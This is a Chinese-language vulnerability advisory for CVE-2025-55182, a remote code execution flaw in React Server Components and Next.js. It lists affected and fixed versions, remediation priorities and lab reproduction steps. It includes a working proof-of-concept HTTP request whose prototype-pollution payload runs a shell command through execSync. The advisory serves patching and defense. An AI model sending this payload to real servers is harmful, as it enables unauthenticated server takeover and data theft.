一、漏洞核心信息

项目

详情

漏洞编号

CVE-2025-55182

影响组件

React Server Components(RSC)相关套件、React-Server-DOM、Next.js App Router

漏洞级别

CVSS 10.0 (最高严重级别)

核心成因

React 解析客户端 Flight 协议数据时缺少验证,通过原型污染(Prototype Pollution)伪造 Server Action 调用

利用特点

无需认证、无需依赖 SSRF/CSRF、单请求触发、影响默认配置

漏洞类型

远程代码执行(RCE)、原型污染

、漏洞危害范围

攻击者可通过构造恶意请求实现:

  • 远程执行任意 JavaScript 代码(如反弹 Shell、植入挖矿程序)
  • 控制服务器文件读写(窃取配置文件、源代码、数据库备份)
  • 触发任意数据库操作(删库、篡改数据、窃取用户隐私信息)
  • 接管整个服务器运行时环境(创建管理员账号、横向渗透内网)
  • 典型受影响场景:电商后台、CMS 系统、用户中心、Admin 管理面板等基于 Next.js + RSC 开发的应用

、受影响版本

3.1React 相关套件

  • 受影响版本:React 19.0、19.1、19.2
  • 关联组件:React-Server-DOM、React-Server-DOM-Webpack

3.2Next.js

  • 受影响版本: 15.x系列(15.0.x~15.5.x)16.X 全系列、14.3.0-canary.77及以后的试验版

3.3漏洞触发必要条件

项目需同时满足:

  • 使用React 19或兼容RSC的React-Server-DOM;
  • 使用Next.js(15.x/16.x/受影响Canary)+ App Router + 启用RSC/Server Components。

四、修复方案

4.1、优先级措施

优先级

建议措施

说明

⭐ 必须

升级至安全版本

官方已发布修复,升级是最直接有效的方案

⭐ 推荐

启用Server Action校验机制

仅允许调用已声明的Server Action,阻止任意函数注入

⭐ 建议

为敏感Server Action添加请求验证

如Token、HMAC或用户上下文绑定,增强请求合法性校验

⚠ 可选

限制接口访问边界

通过RBAC、IP限制、网关鉴权等减少攻击面

❌ 不推荐

仅依赖WAF过滤Flight Payload

Flight数据支持压缩、Base64、Chunk编码,WAF难以可靠检测

4.2 已修复版本

组件

安全版本范围

React/React-DOM/React Server DOM

≥ 19.0.1(含19.0.1/19.1.1/19.2.1)

Next.js

≥ 16.0.7

五、POC与复现验证

5.1 原始POC请求

原始POC请求:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{"then":"$B1337"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

5.2 复现步骤

步骤1:初始化Next.js项目

使用create-next-app创建项目,并必须选择App Router:

npx create-next-app@14.0.3 normal-rsc-demo
# 选择:Yes(TypeScript)、Yes(ESLint)、Yes(Tailwind)、No(src目录)、Yes(App Router)、No(自定义别名)

步骤2:修改依赖为受影响版本

编辑package.json,将React/Next.js版本调整为受影响范围:

{
  "dependencies": {
    "next": "15.0.4",
    "react": "19.2.0",
    "react-dom": "19.2.0"
  }
}

执行npm install安装依赖。

步骤3:启动开发服务

npm run dev

服务将在http://localhost:3000启动。

步骤4:执行漏洞利用脚本

创建test.sh脚本(示例执行touch /tmp/1):略

平台原因,以下不提供可以直接使用的脚本

步骤5:验证结果

检查/tmp目录是否生成文件1:

ls /tmp
# 输出:1

步骤6:修复依赖

将依赖版本升级至最新

{
  "dependencies": {
    "next": "16.0.7",
    "react": "19.2.1",
    "react-dom": "19.2.1"
  }
}

执行npm install

步骤7:启动开发服务

npm run dev

服务将在http://localhost:3000启动。

步骤8:执行漏洞利用脚本

执行test.sh http://localhost:3000 'touch /tmp/1' 后去tmp目录下可以查看到没有任何文件被创建

六、快速复现验证

      天枢一体化虚拟仿真平台经集成 CVE-2025-55182 漏洞环境,诚邀各位体验测试!

、总结

      CVE-2025-55182是React Server Components的重大安全漏洞,直接威胁使用RSC的Next.js应用。由于其无需认证、单请求触发的特性,攻击者可轻松实现远程命令执行,风险极高。

关键防御建议:

1. 立即升级依赖:将React/Next.js升级至官方修复版本;

2. 启用Server Action校验:限制Server Action的调用范围;

3. 增强请求验证:为敏感操作添加额外的身份或上下文校验;

4. 定期安全审计:关注React/Next.js官方安全公告,及时响应漏洞。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐